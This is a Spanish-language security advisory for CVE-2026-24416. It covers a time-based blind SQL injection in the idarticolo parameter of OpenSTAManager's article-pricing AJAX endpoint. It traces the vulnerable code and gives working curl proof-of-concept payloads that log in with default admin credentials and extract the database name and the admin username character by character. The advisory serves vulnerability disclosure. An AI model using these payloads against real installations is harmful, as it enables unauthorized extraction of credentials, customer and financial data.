
CVE-2026-24416 - OpenSTAManager tiene una inyección SQL ciega basada en tiempo en el módulo de precios de artículos
| Campo | Detalles |
|---|---|
| ID de CVE | CVE-2026-24416 |
| Gravedad | HIGH |
| Aviso | Ver aviso |
| Descubierto por | Lukasz Rybak |
Una vulnerabilidad crítica de inyección SQL ciega basada en tiempo en el módulo de precios de artículos de OpenSTAManager v2.9.8 permite a atacantes autenticados extraer el contenido completo de la base de datos, incluidas las credenciales de usuario, los datos de clientes y los registros financieros, mediante ataques de inferencia booleana basados en tiempo.
Estado: ✅ Confirmado y probado en una instancia en producción (v2.9.8) y en demo.osmbusiness.it (v2.9.7)
Parámetro vulnerable: idarticolo (GET)
Endpoint afectado: /ajax_complete.php?op=getprezzi
Módulo afectado: Articoli (Artículos/Productos)
OpenSTAManager v2.9.8 contiene una vulnerabilidad crítica de inyección SQL ciega basada en tiempo en el controlador de autocompletado de precios de artículos. La aplicación no sanea adecuadamente el parámetro idarticolo antes de utilizarlo en consultas SQL, lo que permite a los atacantes inyectar comandos SQL arbitrarios y extraer datos sensibles mediante inferencia booleana basada en tiempo.
Cadena de vulnerabilidad:
Punto de entrada: /ajax_complete.php (Línea 27)
$op = get('op');
$result = AJAX::complete($op);
El parámetro op se obtiene, pero la vulnerabilidad reside en otros parámetros.
Distribución: /src/AJAX.php::complete() (Línea 189)
$result = self::getCompleteResults($file, $resource);
Ejecución: /src/AJAX.php::getCompleteResults() (Línea 402)
require $file;
Se incluyen los archivos complete.php específicos de cada módulo.
Parámetro vulnerable: /modules/articoli/ajax/complete.php (Línea 26)
$idarticolo = get('idarticolo');
El parámetro idarticolo se obtiene de la petición GET.
Consulta SQL vulnerable: /modules/articoli/ajax/complete.php (Línea 70) VULNERABILIDAD PRINCIPAL
FROM
`dt_righe_ddt`
INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
WHERE
`idarticolo`='.$idarticolo.' AND
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
Impacto: Concatenación directa de $idarticolo sin prepare(), mientras que $idanagrafica se sanea correctamente.
Contexto: estructura completa de la consulta (Líneas 39-74):
La consulta vulnerable forma parte de una consulta UNION que obtiene el historial de precios de facturas y notas de entrega:
$documenti = $dbo->fetchArray('
SELECT
`iddocumento` AS id,
"Fattura" AS tipo,
"Fatture di vendita" AS modulo,
(`subtotale`-`sconto`)/`qta` AS costo_unitario,
...
FROM
`co_righe_documenti`
INNER JOIN `co_documenti` ON `co_documenti`.`id` = `co_righe_documenti`.`iddocumento`
INNER JOIN `co_tipidocumento` ON `co_tipidocumento`.`id` = `co_documenti`.`idtipodocumento`
WHERE
`idarticolo`='.prepare($idarticolo).' AND ... # ✓ PROPERLY SANITIZED (Line 54)
UNION
SELECT
`idddt` AS id,
"Ddt" AS tipo,
...
FROM
`dt_righe_ddt`
INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
WHERE
`idarticolo`='.$idarticolo.' AND # ✗ VULNERABLE - NO prepare() (Line 70)
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
ORDER BY
`id` DESC LIMIT 0,5');
Causa raíz: El desarrollador utilizó prepare() correctamente en el primer SELECT (Línea 54), pero olvidó usarlo en el segundo SELECT de la consulta UNION (Línea 70), lo que crea un patrón de seguridad inconsistente.
Paso 1: Inicio de sesión
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
Paso 2: Verificar la vulnerabilidad (SLEEP basado en tiempo)
# Test with SLEEP(10)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(10)))a)" \
> /dev/null
# Result: real 0m10.32s (10.32 seconds)
# Test with SLEEP(3) - should take ~3 seconds
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(3)))a)" \
> /dev/null
# Result: real 0m3.36s (3.36 seconds)
# Test without SLEEP
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1" \
> /dev/null
# Result: real 0m0.31s (0.31 seconds)
Paso 3: Extracción de datos: nombre de la base de datos
# Extract first character of database name
# Test if first char is 'o' (expected: TRUE for 'openstamanager')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.34s (SLEEP executed - condition TRUE)
# Test if first char is 'x' (expected: FALSE)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m0.31s (SLEEP not executed - condition FALSE)
# Extract second character (expected: 'p')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),2,1)=%27p%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.34s (SLEEP executed - confirms second char is 'p')
# Extract first 3 characters (expected: 'ope')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,3)=%27ope%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms 'ope...')
Paso 4: Extraer datos sensibles: credenciales de administrador
# Extract admin username (test if first 5 chars are 'admin')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(username,1,5)%20FROM%20zz_users%20WHERE%20id=1)=%27admin%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms admin username)